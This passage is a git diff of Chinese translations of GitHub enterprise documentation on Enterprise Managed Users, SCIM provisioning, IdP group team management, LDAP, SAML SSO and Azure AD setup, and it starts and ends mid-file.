variables.product.prodname_dotcom %} 上的 {% data variables.product.prodname_managed_user %} 帐户,并还原用户名。 + +IdP 中的组可用于管理企业组织中的团队成员身份,使你可通过 IdP 配置存储库访问权限和权限。 有关详细信息,请参阅“[使用标识提供者组管理团队成员身份](/github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/managing-team-memberships-with-identity-provider-groups)”。 + +## 先决条件 + +在为 {% data variables.product.prodname_emus %} 配置预配之前,必须配置 SAML 单一登录。 有关详细信息,请参阅“[为 Enterprise Managed User 配置 SAML 单一登录](/github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/configuring-saml-single-sign-on-for-enterprise-managed-users)”。 + +## 创建个人访问令牌 + +若要为 {% data variables.product.prodname_emu_enterprise %} 配置预配,需要使用属于安装用户的 admin:enterprise 作用域的个人访问令牌。 + +{% warning %} + +**警告:** 如果令牌过期或预配的用户创建了令牌,SCIM 预配可能会意外停止工作。 请确保在以安装用户身份登录时创建令牌,并将令牌过期设置为“不过期”。 + +{% endwarning %} + +1. 使用用户名“@SHORT-CODE_admin”以新企业的安装用户身份登录到 {% data variables.product.prodname_dotcom_the_website %}。 +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.developer_settings %} {% data reusables.user-settings.personal_access_tokens %} {% data reusables.user-settings.generate_new_token %} +1. 在“备注”下,为令牌提供描述性名称。 + ![显示令牌名称的屏幕截图](/assets/images/help/enterprises/emu-pat-name.png) +1. 选择“过期”下拉菜单,然后单击“不过期” 。 + ![显示将令牌过期设置为“不过期”的屏幕截图](/assets/images/help/enterprises/emu-pat-no-expiration.png) +1. 选择 admin:enterprise 作用域。 + ![显示 admin:enterprise 作用域的屏幕截图](/assets/images/help/enterprises/enterprise-pat-scope.png) +1. 单击“生成令牌”。 + ![生成令牌按钮](/assets/images/help/settings/generate_token.png) +1. 若要将令牌复制到剪贴板,请单击 {% octicon "paste" aria-label="The copy icon" %}。 + ![新建的令牌](/assets/images/help/settings/personal_access_tokens.png) +2. 若要保存令牌以供以后使用,请将新令牌安全地存储在密码管理器中。 + +## 为 {% data variables.product.prodname_emus %} 配置预配 + +创建个人访问令牌并安全地存储该令牌后,可以在标识提供者上配置预配。 + +{% data reusables.scim.emu-scim-rate-limit %} + +若要配置 Azure Active Directory 以使其为 {% data variables.product.prodname_emu_enterprise %} 预配用户,请参阅 Azure AD 文档中的[教程:为 GitHub Enterprise Managed User 配置自动用户预配](https://docs.microsoft.com/en-us/azure/active-directory/saas-apps/github-enterprise-managed-user-provisioning-tutorial)。 + +若要配置 Okta 以使其为 {% data variables.product.prodname_emu_enterprise %} 预配用户,请参阅“[使用 Okta 为 Enterprise Managed User 配置 SCIM 预配](/github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/configuring-scim-provisioning-for-enterprise-managed-users-with-okta)”。 + diff --git a/translations/zh-CN/content/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/index.md b/translations/zh-CN/content/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/index.md new file mode 100644 index 0000000000..01fe6784fb --- /dev/null +++ b/translations/zh-CN/content/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/index.md @@ -0,0 +1,27 @@ +--- +title: 使用 Enterprise 托管用户和 SAML for IAM +shortTitle: Enterprise Managed Users +product: '{% data reusables.gated-features.emus %}' +intro: You can manage identity and access with your identity provider and provision accounts that can only contribute to your enterprise. +redirect_from: +- /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider +- /admin/authentication/managing-your-enterprise-users-with-your-identity-provider +- /admin/identity-and-access-management/managing-iam-with-enterprise-managed-users +versions: + ghec: '*' +topics: +- Enterprise +- Accounts +children: +- /about-enterprise-managed-users +- /configuring-saml-single-sign-on-for-enterprise-managed-users +- /configuring-scim-provisioning-for-enterprise-managed-users +- /configuring-scim-provisioning-for-enterprise-managed-users-with-okta +- /managing-team-memberships-with-identity-provider-groups +ms.openlocfilehash: 46657f7bfcb50c6ed70f7ce9f2fb3ffc3914770a +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145098057" +--- diff --git a/translations/zh-CN/content/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/managing-team-memberships-with-identity-provider-groups.md b/translations/zh-CN/content/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/managing-team-memberships-with-identity-provider-groups.md new file mode 100644 index 0000000000..c59f65816b --- /dev/null +++ b/translations/zh-CN/content/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/managing-team-memberships-with-identity-provider-groups.md @@ -0,0 +1,78 @@ +--- +title: 使用标识提供者组管理团队成员身份 +shortTitle: Manage teams with your IdP +intro: You can manage team membership on {% data variables.product.product_name %} through your identity provider (IdP) by connecting IdP groups with your {% data variables.product.prodname_emu_enterprise %}. +product: '{% data reusables.gated-features.emus %}' +redirect_from: +- /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/managing-team-memberships-with-identity-provider-groups +- /admin/authentication/managing-your-enterprise-users-with-your-identity-provider/managing-team-memberships-with-identity-provider-groups +- /admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/managing-team-memberships-with-identity-provider-groups +versions: + ghec: '*' +type: how_to +topics: +- Accounts +- Enterprise +- SSO +- Teams +ms.openlocfilehash: 2dc5a5ae3a8aad9cf589e148764dec1991c2c8f7 +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145099041" +--- +## 关于使用 {% data variables.product.prodname_emus %} 的团队管理 + +使用 {% data variables.product.prodname_emus %},可以通过 IdP 管理企业内的团队成员身份。 将某个企业组织中的团队连接到 IdP 组时,IdP 组对成员身份的更改会自动反映在企业中,从而减少手动更新和自定义脚本的需要。 + +当 IdP 组的更改或新的团队连接导致 {% data variables.product.prodname_managed_user %} 加入他们尚未加入的组织中的团队时,{% data variables.product.prodname_managed_user %} 将自动添加到组织中。 组织所有者还可以手动管理组织成员身份。 当你断开组与团队的连接时,如果未通过任何其他方式为其分配组织成员身份,则通过团队成员身份成为组织成员的用户将从组织中删除。 + +可以将企业中的团队连接到一个 IdP 组。 可以将同一 IdP 组分配给企业中的多个团队。 + +如果要将现有团队连接到 IdP 组,必须先删除手动添加的任何成员。 将企业中的团队连接到 IdP 组后,IdP 管理员必须通过标识提供者更改团队成员身份。 无法在 {% data variables.product.prodname_dotcom_the_website %} 上管理团队成员身份。 + +当 Idp 上的组成员身份发生变化时,你的 IdP 会根据 IdP 确定的时间表发送 SCIM 请求,其中包含对 {% data variables.product.prodname_dotcom_the_website %} 的更改,因此更改可能不会立即发生。 任何更改团队或组织成员身份的请求都将在审核日志中注册为用于配置用户预配的帐户所做的更改。 + +连接到 IdP 组的团队不能是其他团队的父级,也不能是另一个团队的子级。 如果要连接到 IdP 组的团队是父团队或子团队,建议创建一个新团队或删除使你的团队成为父团队的嵌套关系。 + +若要管理企业中任何团队(包括连接到 IdP 组的团队)的存储库访问权限,必须对 {% data variables.product.prodname_dotcom_the_website %} 进行更改。 有关详细信息,请参阅“[管理团队对组织存储库的访问权限](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository)”。 + +## 创建连接到 IdP 组的新团队 + +组织的任何成员都可以创建新团队并将团队连接到 IdP 组。 + +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.new_team %} {% data reusables.organizations.team_name %} {% data reusables.organizations.team_description %} +1. 若要连接团队,请选择“标识提供者组”下拉菜单,然后单击要连接的团队。 + ![用于选择标识提供者组的下拉菜单](/assets/images/help/teams/choose-an-idp-group.png) {% data reusables.organizations.team_visibility %} {% data reusables.organizations.create_team %} + +## 管理现有团队和 IdP 组之间的连接 + +组织所有者和团队维护者可以管理 IdP 组和团队之间的现有连接。 + +{% note %} + +注意:在首次将 {% data variables.product.prodname_dotcom_the_website %} 上的现有团队连接到 IdP 组之前,必须先删除 {% data variables.product.prodname_dotcom_the_website %} 上的所有团队成员。 有关详细信息,请参阅“[从团队中删除组织成员](/github/setting-up-and-managing-organizations-and-teams/removing-organization-members-from-a-team)”。 + +{% endnote %} + +{% data reusables.profile.access_profile %} + +{% data reusables.profile.access_org %} {% data reusables.organizations.specific_team %} {% data reusables.organizations.team_settings %} +1. (可选)在“标识提供者组”下,单击要断开连接的 IdP 组右侧的 {% octicon "x" aria-label="X symbol" %}。 + ![从 GitHub 团队取消选择已连接的 IdP 组](/assets/images/enterprise/github-ae/teams/unselect-idp-group.png) +1. 若要连接 IdP 组,请在“标识提供者组”下选择下拉菜单,然后从列表中单击标识提供者组。 + ![用于选择标识提供者组的下拉菜单](/assets/images/enterprise/github-ae/teams/choose-an-idp-group.png) +1. 单击“保存更改”。 + +## 查看 IdP 组、组成员身份和连接的团队 + +可以查看 IdP 组列表,查看连接到 IdP 组的任何团队,并在 {% data variables.product.product_name %} 上查看每个 IdP 组的成员身份。 必须在 IdP 上编辑组的成员身份。 + +{% data reusables.enterprise-accounts.access-enterprise %} +1. 若要查看 IdP 组列表,请在左侧边栏中单击 {% octicon "key" aria-label="The key icon" %}“标识提供者”。 + ![显示企业侧栏中“标识提供者”选项卡的屏幕截图](/assets/images/help/enterprises/enterprise-account-identity-provider-tab.png) +2. 若要查看连接到 IdP 组的成员和团队,请单击该组的名称。 + ![显示 IdP 组列表的屏幕截图,其中突出显示了组名称](/assets/images/help/enterprises/select-idp-group.png) +4. 若要查看连接到 IdP 组的团队,请单击“团队”。 + ![显示“团队”按钮的屏幕截图](/assets/images/help/enterprises/idp-groups-team-switcher.png) diff --git a/translations/zh-CN/content/admin/identity-and-access-management/using-ldap-for-enterprise-iam/index.md b/translations/zh-CN/content/admin/identity-and-access-management/using-ldap-for-enterprise-iam/index.md index 67af5b8586..95c5c9c871 100644 --- a/translations/zh-CN/content/admin/identity-and-access-management/using-ldap-for-enterprise-iam/index.md +++ b/translations/zh-CN/content/admin/identity-and-access-management/using-ldap-for-enterprise-iam/index.md @@ -1,10 +1,16 @@ --- -title: Using LDAP for enterprise IAM +title: 使用 LDAP 进行企业 IAM shortTitle: LDAP for enterprise IAM -intro: 'You can centrally manage accounts and access to {% data variables.location.product_location %} by integrating with your existing LDAP directory.' +intro: '可以通过与现有 LDAP 目录集成,来集中管理帐户和对 {% data variables.product.product_location %} 的访问权限。' versions: ghes: '*' children: - /using-ldap +ms.openlocfilehash: 40145a8d9c4905731eef2d710171ffae7872ecea +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/09/2022 +ms.locfileid: '147717803' --- diff --git a/translations/zh-CN/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/about-saml-for-enterprise-iam.md b/translations/zh-CN/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/about-saml-for-enterprise-iam.md index de6b490b41..bbdc6031a6 100644 --- a/translations/zh-CN/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/about-saml-for-enterprise-iam.md +++ b/translations/zh-CN/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/about-saml-for-enterprise-iam.md @@ -1,7 +1,7 @@ --- -title: About SAML for enterprise IAM +title: 关于企业 IAM 的 SAML shortTitle: About SAML for IAM -intro: 'You can use SAML single sign-on (SSO) {% ifversion ghae %}and System for Cross-domain Identity Management (SCIM) {% endif %}to centrally manage access {% ifversion ghec %}to organizations owned by your enterprise on {% data variables.product.prodname_dotcom_the_website %}{% elsif ghes %}to {% data variables.location.product_location %}{% elsif ghae %}to {% data variables.location.product_location %}{% endif %}.' +intro: '可以使用 SAML 单一登录 (SSO) {% ifversion ghae %}和跨域身份管理系统 (SCIM) {% endif %}集中管理{% ifversion ghec %}企业拥有的组织在 {% data variables.product.prodname_dotcom_the_website %} 上{% elsif ghes %}对 {% data variables.location.product_location %}{% elsif ghae %}对 {% data variables.location.product_location %}{% endif %} 的访问权限。' versions: ghec: '*' ghes: '*' @@ -22,52 +22,56 @@ redirect_from: - /admin/authentication/managing-identity-and-access-for-your-enterprise/about-identity-and-access-management-for-your-enterprise - /admin/identity-and-access-management/managing-iam-for-your-enterprise/about-identity-and-access-management-for-your-enterprise - /admin/identity-and-access-management/using-saml-for-enterprise-iam/about-identity-and-access-management-for-your-enterprise +ms.openlocfilehash: ea9db1269f389bdc126c8693ffeeb4b11dc42f99 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148192687' --- - -## About SAML SSO for {% ifversion ghec or ghae %}your enterprise on {% endif %}{% ifversion ghec or ghes %}{% data variables.location.product_location %}{% elsif ghae %}{% data variables.product.product_name %}{% endif %} +## 关于{% ifversion ghec or ghae %}你的企业在{% endif %}{% ifversion ghec or ghes %}{% data variables.location.product_location %}{% elsif ghae %}{% data variables.product.product_name %}{% endif %} 上的 SAML SSO {% ifversion ghec %} -If your enterprise members manage their own user accounts on {% data variables.location.product_location %}, you can configure SAML authentication as an additional access restriction for your enterprise or organization. {% data reusables.saml.dotcom-saml-explanation %} +如果企业成员在 {% data variables.location.product_location %} 上管理他们自己的用户帐户,你可将 SAML 身份验证配置为企业或组织的附加访问限制。 {% data reusables.saml.dotcom-saml-explanation %} {% data reusables.saml.saml-accounts %} -{% data reusables.saml.about-saml-enterprise-accounts %} For more information, see "[About authentication for your enterprise](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise#considerations-for-enabling-saml-for-an-enterprise-or-organization)" and [Configuring SAML single sign-on for your enterprise](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)." +{% data reusables.saml.about-saml-enterprise-accounts %} 有关详细信息,请参阅“[为企业配置 SAML 单一登录](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)”。 -Alternatively, you can provision and manage the accounts of your enterprise members with {% data variables.product.prodname_emus %}. To help you determine whether SAML SSO or {% data variables.product.prodname_emus %} is better for your enterprise, see "[About authentication for your enterprise](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise#identifying-the-best-authentication-method-for-your-enterprise)." +或者,可使用 {% data variables.product.prodname_emus %} 预配和管理企业成员的帐户。 若要帮助确定是 SAML SSO 还是 {% data variables.product.prodname_emus %} 更适合你的企业,请参阅“[关于企业身份验证](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise#identifying-the-best-authentication-method-for-your-enterprise)”。 -{% data reusables.enterprise-accounts.about-recovery-codes %} For more information, see "[Managing recovery codes for your enterprise](/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise)." +{% data reusables.enterprise-accounts.about-recovery-codes %} 有关详细信息,请参阅“[管理企业的恢复代码](/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise)”。 -After you enable SAML SSO, depending on the IdP you use, you may be able to enable additional identity and access management features. - -If you use Azure AD as your IdP, you can use team synchronization to manage team membership within each organization. {% data reusables.identity-and-permissions.about-team-sync %} +启用 SAML SSO 后,根据使用的 IDP,您可能能够启用额外的身份和访问管理功能。 +如果使用 Azure AD 作为 IDP,您可以使用团队同步来管理每个组织中的团队成员身份。 {% data reusables.identity-and-permissions.about-team-sync %} {% note %} -**Note:** You cannot configure SCIM for your enterprise account unless your account was created to use {% data variables.product.prodname_emus %}. For more information, see "[About {% data variables.product.prodname_emus %}](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users)." +注意:无法为企业帐户配置 SCIM,除非创建的帐户要使用 {% data variables.product.prodname_emus %}。 有关详细信息,请参阅“[关于 {% data variables.product.prodname_emus %}](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users)”。 {% endnote %} -{% data reusables.saml.switching-from-org-to-enterprise %} For more information, see "[Switching your SAML configuration from an organization to an enterprise account](/github/setting-up-and-managing-your-enterprise/configuring-identity-and-access-management-for-your-enterprise-account/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account)." +{% data reusables.saml.switching-from-org-to-enterprise %} 有关详细信息,请参阅[将 SAML 配置从组织切换为企业帐户](/github/setting-up-and-managing-your-enterprise/configuring-identity-and-access-management-for-your-enterprise-account/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account)。 {% elsif ghes %} -SAML SSO allows people to authenticate and access {% data variables.location.product_location %} through an external system for identity management. +SAML SSO 允许人员通过外部系统进行身份验证和访问 {% data variables.location.product_location %},以便进行标识管理。 -SAML is an XML-based standard for authentication and authorization. When you configure SAML for {% data variables.location.product_location %}, the external system for authentication is called an identity provider (IdP). Your instance acts as a SAML service provider (SP). For more information about the SAML standard, see [Security Assertion Markup Language](https://en.wikipedia.org/wiki/Security_Assertion_Markup_Language) on Wikipedia. +SAML 是一种基于 XML 的身份验证和授权标准。 为 {% data variables.location.product_location %} 配置 SAML 时,用于身份验证的外部系统称为标识提供者 (IdP)。 实例充当 SAML 服务提供程序 (SP)。 有关 SAML 标准的详细信息,请参阅 Wikipedia 上的[安全断言标记语言](https://en.wikipedia.org/wiki/Security_Assertion_Markup_Language)。 {% elsif ghae %} {% data reusables.saml.ae-uses-saml-sso %} {% data reusables.saml.ae-enable-saml-sso-during-bootstrapping %} -After you configure the application for {% data variables.product.product_name %} on your identity provider (IdP), you can provision access to {% data variables.location.product_location %} by assigning users and groups to the application on your IdP. For more information about SAML SSO for {% data variables.product.product_name %}, see "[Configuring SAML single sign-on for your enterprise](/admin/authentication/configuring-saml-single-sign-on-for-your-enterprise)." +在标识提供者 (IdP) 上为 {% data variables.product.product_name %} 配置应用程序后,可以通过将用户和组分配到 IdP 上的应用程序来预配对 {% data variables.location.product_location %} 的访问权限。 有关用于 {% data variables.product.product_name %} 的 SAML SSO 的详细信息,请参阅“[为企业配置 SAML 单一登录](/admin/authentication/configuring-saml-single-sign-on-for-your-enterprise)”。 {% endif %} {% ifversion ghes < 3.6 %} -Your IdP does not communicate with {% data variables.product.product_name %} automatically when you assign or unassign the application. {% data variables.product.product_name %} creates a user account using SAML Just-in-Time (JIT) provisioning the first time someone navigates to {% data variables.product.product_name %} and signs in by authenticating through your IdP. You may need to manually notify users when you grant access to {% data variables.product.product_name %}. +分配或取消分配应用程序时,IdP 不会自动与 {% data variables.product.product_name %} 通信。 {% data variables.product.product_name %} 会在有人第一次导航到 {% data variables.product.product_name %} 并通过 IdP 进行身份验证来登录时使用 SAML 实时 (JIT) 预配创建用户帐户。 在授予对 {% data variables.product.product_name %} 的访问权限时,可能需要手动通知用户。 {% endif %} @@ -79,28 +83,28 @@ Your IdP does not communicate with {% data variables.product.product_name %} aut {% endif %} -For more information about the configuration of SAML SSO on {% data variables.product.product_name %}, see "[Configuring SAML single sign-on for your enterprise](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise)."{% ifversion ghec or ghae or scim-for-ghes %} To learn how to configure both authentication and {% ifversion ghae or ghes %}user {% endif %}provisioning for {% data variables.location.product_location %} with your specific IdP, see the articles for individual IdPs in "[Using SAML for enterprise IAM](/admin/identity-and-access-management/using-saml-for-enterprise-iam)."{% endif %} +有关在 {% data variables.product.product_name %} 上配置 SAML SSO 的详细信息,请参阅“[为企业配置 SAML 单一登录](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise)”。{% ifversion ghec or ghae or scim-for-ghes %} 若要了解如何使用特定 IdP 为 {% data variables.location.product_location %} 配置身份验证和{% ifversion ghae or ghes %}用户{% endif %}预配,请参阅“[将 SAML 用于企业 IAM](/admin/identity-and-access-management/using-saml-for-enterprise-iam)”中的关于各个 IdP 的文章。{% endif %} {% ifversion ghae or scim-for-ghes %} -## About creation of user accounts +## 关于创建用户帐户 -{% data reusables.scim.after-you-configure-saml %} For more information, see "[Configuring user provisioning for your enterprise](/admin/authentication/configuring-user-provisioning-for-your-enterprise)." +{% data reusables.scim.after-you-configure-saml %} 有关详细信息,请参阅[配置企业的用户预配](/admin/authentication/configuring-user-provisioning-for-your-enterprise)。 {% data reusables.saml.saml-ghes-account-revocation %} {% endif %} -## Supported IdPs +## 支持的 IdP {% ifversion ghec %} -We test and officially support the following IdPs. For SAML SSO, we offer limited support for all identity providers that implement the SAML 2.0 standard. For more information, see the [SAML Wiki](https://wiki.oasis-open.org/security) on the OASIS website. +我们测试并正式支持以下 IdP。 对于 SAML SSO,我们向执行 SAML 2.0 标准的所有身份提供程序提供有限的支持。 有关详细信息,请参阅 OASIS 网站上的 [SAML Wiki](https://wiki.oasis-open.org/security)。 -IdP | SAML | Team synchronization | +IdP | SAML | 团队同步 | --- | :--: | :-------: | -Active Directory Federation Services (AD FS) | {% octicon "check-circle-fill" aria-label= "The check icon" %} | | -Azure Active Directory (Azure AD) | {% octicon "check-circle-fill" aria-label="The check icon" %} | {% octicon "check-circle-fill" aria-label="The check icon" %} | +Active Directory 联合身份验证服务 (AD FS) | {% octicon "check-circle-fill" aria-label= "The check icon" %} | | +Azure Active Directory (Azure AD)租户 | {% octicon "check-circle-fill" aria-label="The check icon" %} | {% octicon "check-circle-fill" aria-label="The check icon" %} | Okta | {% octicon "check-circle-fill" aria-label="The check icon" %} | | OneLogin | {% octicon "check-circle-fill" aria-label="The check icon" %} | | PingOne | {% octicon "check-circle-fill" aria-label="The check icon" %} | | @@ -112,7 +116,7 @@ Shibboleth | {% octicon "check-circle-fill" aria-label="The check icon" %} | | {% ifversion ghes > 3.3 %} -If your IdP supports encrypted assertions, you can configure encrypted assertions on {% data variables.product.product_name %} for increased security during the authentication process. +如果 IdP 支持加密断言,则可以在 {% data variables.product.product_name %} 上配置加密断言,以提高身份验证过程中的安全性。 {% endif %} @@ -120,7 +124,7 @@ If your IdP supports encrypted assertions, you can configure encrypted assertion {% elsif ghae %} -The following IdPs are officially supported for integration with {% data variables.product.prodname_ghe_managed %}. +官方支持以下 IdP 与 {% data variables.product.prodname_ghe_managed %} 的集成。 {% data reusables.saml.okta-ae-sso-beta %} @@ -130,18 +134,14 @@ The following IdPs are officially supported for integration with {% data variabl {% ifversion ghae %} -## Mapping {% data variables.product.prodname_ghe_managed %} teams to Okta groups +## 将 {% data variables.product.prodname_ghe_managed %} 团队映射到 Okta 组 -If you use Okta as your IdP, you can map your Okta groups to teams on {% data variables.product.product_name %}. For more information, see "[Mapping Okta groups to teams](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)." +如果使用 Okta 作为 IdP,则可以将 Okta 组映射到 {% data variables.product.product_name %} 上的团队。 有关详细信息,请参阅“[将 Okta 组映射到团队](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)”。 {% endif %} -## Further reading +## 延伸阅读 -- [SAML Wiki](https://wiki.oasis-open.org/security) on the OASIS website -{%- ifversion ghae or scim-for-ghes %} -- [System for Cross-domain Identity Management: Protocol (RFC 7644)](https://tools.ietf.org/html/rfc7644) on the IETF website -{%- endif %} -{%- ifversion ghae %} -- "[Restricting network traffic to your enterprise with an IP allow list](/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise-with-an-ip-allow-list)" -{%- endif %} +- OASIS 网站上的 [SAML Wiki](https://wiki.oasis-open.org/security) {%- ifversion ghae or scim-for-ghes %} +- IETF 网站上的[跨域身份管理系统:协议 (RFC 7644)](https://tools.ietf.org/html/rfc7644){%- endif %} {%- ifversion ghae %} +- [使用 IP 允许列表限制到企业的网络流量](/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise-with-an-ip-allow-list){%- endif %} diff --git a/translations/zh-CN/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad.md b/translations/zh-CN/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad.md index 9cae70edd5..6f618e1a89 100644 --- a/translations/zh-CN/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad.md +++ b/translations/zh-CN/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad.md @@ -1,7 +1,7 @@ --- -title: Configuring authentication and provisioning for your enterprise using Azure AD +title: 使用 Azure AD 为企业配置身份验证和预配 shortTitle: Configure with Azure AD -intro: 'You can use a tenant in Azure Active Directory (Azure AD) as an identity provider (IdP) to centrally manage authentication and user provisioning for {% data variables.location.product_location %}.' +intro: '可以使用 Azure Active Directory (Azure AD) 中的租户作为标识提供者 (IdP) 来集中管理{% data variables.location.product_location %}的身份验证和用户预配。' permissions: 'Enterprise owners can configure authentication and provisioning for an enterprise on {% data variables.product.product_name %}.' versions: ghae: '*' @@ -17,62 +17,66 @@ redirect_from: - /admin/authentication/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad - /admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad - /admin/identity-and-access-management/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad +ms.openlocfilehash: c0291aab00df0139b0b54eda8ec34b6e20deb19f +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148192679' --- +## 关于使用 Azure AD 进行身份验证和用户预配 -## About authentication and user provisioning with Azure AD - -Azure Active Directory (Azure AD) is a service from Microsoft that allows you to centrally manage user accounts and access to web applications. For more information, see [What is Azure Active Directory?](https://docs.microsoft.com/azure/active-directory/fundamentals/active-directory-whatis) in the Microsoft Docs. +Azure Active Directory (Azure AD) 是一项来自 Microsoft 的服务,它允许您集中管理用户帐户和 web 应用程序访问。 有关详细信息,请参阅 Microsoft Docs 中的[什么是 Azure Active Directory?](https://docs.microsoft.com/azure/active-directory/fundamentals/active-directory-whatis) {% data reusables.saml.idp-saml-and-scim-explanation %} {% data reusables.scim.ghes-beta-note %} -After you enable SAML SSO and SCIM for {% data variables.product.product_name %} using Azure AD, you can accomplish the following from your Azure AD tenant. +使用 Azure AD 对 {% data variables.product.product_name %} 启用 SAML SSO 和 SCIM 后,你可以从 Azure AD 租户完成以下任务。 -* Assign the {% data variables.product.product_name %} application on Azure AD to a user account to automatically create and grant access to a corresponding user account on {% data variables.product.product_name %}. -* Unassign the {% data variables.product.product_name %} application to a user account on Azure AD to deactivate the corresponding user account on {% data variables.product.product_name %}. -* Assign the {% data variables.product.product_name %} application to an IdP group on Azure AD to automatically create and grant access to user accounts on {% data variables.product.product_name %} for all members of the IdP group. In addition, the IdP group is available on {% data variables.product.product_name %} for connection to a team and its parent organization. -* Unassign the {% data variables.product.product_name %} application from an IdP group to deactivate the {% data variables.product.product_name %} user accounts of all IdP users who had access only through that IdP group and remove the users from the parent organization. The IdP group will be disconnected from any teams on {% data variables.product.product_name %}. +* 将 Azure AD 上的 {% data variables.product.product_name %} 应用程序分配给用户帐户,以便在 {% data variables.product.product_name %} 上自动创建并授予对相应用户帐户的访问权限。 +* 为 Azure AD 上的用户帐户取消分配 {% data variables.product.product_name %} 应用程序,以便在 {% data variables.product.product_name %} 上停用相应的用户帐户。 +* 为 Azure AD 上的 IdP 组分配 {% data variables.product.product_name %} 应用程序,以便为 IdP 组的所有成员自动创建并授予对 {% data variables.product.product_name %} 上用户帐户的访问权限。 此外,IdP 组也可以在 {% data variables.product.product_name %} 上连接到团队及其父组织。 +* 从 IdP 组取消分配 {% data variables.product.product_name %} 应用程序来停用仅通过该 IdP 组访问的所有 IdP 用户的 {% data variables.product.product_name %} 用户帐户,并从父组织中删除这些用户。 IdP 组将与 {% data variables.product.product_name %} 上的任何团队断开连接。 -For more information about managing identity and access for your enterprise on {% data variables.location.product_location %}, see "[Managing identity and access for your enterprise](/admin/authentication/managing-identity-and-access-for-your-enterprise)." +有关在{% data variables.location.product_location %}上管理企业的身份验证和访问控制的详细信息,请参阅“[管理企业的身份验证和访问控制](/admin/authentication/managing-identity-and-access-for-your-enterprise)”。 -## Prerequisites +## 先决条件 -- To configure authentication and user provisioning for {% data variables.product.product_name %} using Azure AD, you must have an Azure AD account and tenant. For more information, see the [Azure AD website](https://azure.microsoft.com/free/active-directory) and [Quickstart: Create an Azure Active Directory tenant](https://docs.microsoft.com/azure/active-directory/develop/quickstart-create-new-tenant) in the Microsoft Docs. +- 要使用 Azure AD 配置 {% data variables.product.product_name %} 的身份验证和用户预配,您必须有 Azure AD 帐户和租户。 有关详细信息,请参阅 [Azure AD 网站](https://azure.microsoft.com/free/active-directory)和 Microsoft Docs 中的[快速入门:创建 Azure Active Directory 租户](https://docs.microsoft.com/azure/active-directory/develop/quickstart-create-new-tenant)。 {%- ifversion scim-for-ghes %} -- {% data reusables.saml.ghes-you-must-configure-saml-sso %} -{%- endif %} +- {% data reusables.saml.ghes-you-must-configure-saml-sso %} {%- endif %} - {% data reusables.saml.create-a-machine-user %} -## Configuring authentication and user provisioning with Azure AD +## 使用 Azure AD 配置身份验证和用户预配 {% ifversion ghae %} -In your Azure AD tenant, add the application for {% data variables.product.product_name %}, then configure provisioning. +在 Azure AD 租户中,添加 {% data variables.product.product_name %} 